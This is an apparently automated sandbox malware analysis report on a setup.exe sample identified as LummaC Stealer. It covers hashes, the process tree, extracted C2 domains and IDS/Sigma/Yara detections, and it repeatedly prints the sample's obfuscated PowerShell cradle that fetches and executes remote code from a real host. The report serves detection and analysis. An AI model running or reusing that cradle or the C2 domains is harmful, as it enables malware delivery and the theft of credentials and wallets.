Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1582503
MD5:	d781fd542a1dcb91c07c192bcac16f8e
SHA1:	86ba60cac73d2f28120d452783622e7844e427f0
SHA256:	7d28c7b252fb0b95ea0b5f305e5bb4e781773a9a8582a7cf1076650677263ef0
Tags:	de-pumpedexeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample or dropped binary is a compiled AutoHotkey binary

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

setup.exe (PID: 7252 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: D781FD542A1DCB91C07C192BCAC16F8E)

powershell.exe (PID: 7672 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ? MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

F3638EZUZ711WUU8SDVPW34XAAMUZ.exe (PID: 7820 cmdline: "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" MD5: 51F99EDDD33CC04FB0F55F873B76D907)

F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp (PID: 7864 cmdline: "C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$902A0,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" MD5: F809F51E678B7F2E388F8C969EF902C8)

F3638EZUZ711WUU8SDVPW34XAAMUZ.exe (PID: 7912 cmdline: "C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT MD5: 51F99EDDD33CC04FB0F55F873B76D907)

F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp (PID: 7936 cmdline: "C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp" /SL5="$90262,7785838,845824,C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe" /VERYSILENT MD5: F809F51E678B7F2E388F8C969EF902C8)

timeout.exe (PID: 8100 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 8108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5496 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3740 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5812 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3744 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6368 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5804 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5480 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7096 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4456 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4312 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7368 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4304 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7424 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7412 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4924 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 3264 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7564 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3412 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

BrightLib.exe (PID: 7584 cmdline: "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe" MD5: 6A8860A8150021B2D5B9BB707DE4FA37)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["prisonyfork.buzz", "screwamusresz.buzz", "scentniej.buzz", "inherineau.buzz", "learningypr.click", "appliacnesot.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "hummskitnj.buzz"], "Build id": "53b39e88--Qh"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x4ef5a:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
Process Memory Space: setup.exe PID: 7252	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: setup.exe PID: 7252	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 7252, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, ProcessId: 7672, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 7252, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, ProcessId: 7672, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 7252, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, ProcessId: 7672, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 7252, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, ProcessId: 7672, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 7252, ParentProcessName: setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?, ProcessId: 7672, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:12.312033+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.32.1	443	TCP
2024-12-30T19:10:13.288627+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.32.1	443	TCP
2024-12-30T19:10:14.567126+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.32.1	443	TCP
2024-12-30T19:10:15.816311+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.32.1	443	TCP
2024-12-30T19:10:17.287015+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.32.1	443	TCP
2024-12-30T19:10:20.610274+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	104.21.32.1	443	TCP
2024-12-30T19:10:21.807662+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	104.21.32.1	443	TCP
2024-12-30T19:10:25.849669+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.32.1	443	TCP
2024-12-30T19:10:28.623498+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	104.21.32.1	443	TCP
2024-12-30T19:10:29.906966+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	185.161.251.21	443	TCP
2024-12-30T19:10:30.691182+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.208.58	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:12.801798+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.32.1	443	TCP
2024-12-30T19:10:13.761440+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.32.1	443	TCP
2024-12-30T19:10:29.102995+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:12.801798+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.32.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:13.761440+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.32.1	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:31.106563+0100	2008438	1	A Network Trojan was detected	172.67.208.58	443	192.168.2.4	49746	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T19:10:21.064381+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	104.21.32.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://learningypr.click/api	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apb	Avira URL Cloud: Label: malware
Source: learningypr.click	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop:443/int_clp_sha.txt	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apiS	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apic	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apij	Avira URL Cloud: Label: malware
Source: https://learningypr.click/pp	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/	Avira URL Cloud: Label: malware
Source: https://learningypr.click/pi	Avira URL Cloud: Label: malware
Source: https://learningypr.click/Q	Avira URL Cloud: Label: malware
Source: https://learningypr.click:443/api	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apies=0F	Avira URL Cloud: Label: malware
Source: https://learningypr.click/apiF	Avira URL Cloud: Label: malware
Source: https://cegu.shop/8574262446/ph.txt3h	Avira URL Cloud: Label: malware
Source: https://klipvumisui.shop/int_clp_sha.txt~	Avira URL Cloud: Label: malware

Found malware configuration

Source: setup.exe.7252.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["prisonyfork.buzz", "screwamusresz.buzz", "scentniej.buzz", "inherineau.buzz", "learningypr.click", "appliacnesot.buzz", "cashfuzysao.buzz", "rebuildeso.buzz", "hummskitnj.buzz"], "Build id": "53b39e88--Qh"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 87.4% probability

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb< source: powershell.exe, 00000004.00000002.2025410025.0000000007B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000025.00000002.2630130507.0000000038B80000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000002.2608357889.0000000003738000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000025.00000002.2630130507.0000000038B80000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000002.2608357889.0000000003738000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then lea ebx, dword ptr [edi-80000000h]	0_2_007C8073
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000E4h]	0_2_007D804D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-77h]	0_2_007D804D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+589521F5h]	0_2_007F203D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 31E2A9F4h	0_2_007EB09D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then test eax, eax	0_2_007EB09D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 4B1BF3DAh	0_2_007EB09D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then movzx ebx, bx	0_2_007D7111
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then cmp word ptr [esi+ecx+02h], 0000h	0_2_007C626D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_007C626D
Source: C:\Users\user\Desktop\setup.exe	Code function: 4x nop then mov ebx, edx	0_2_007F123F
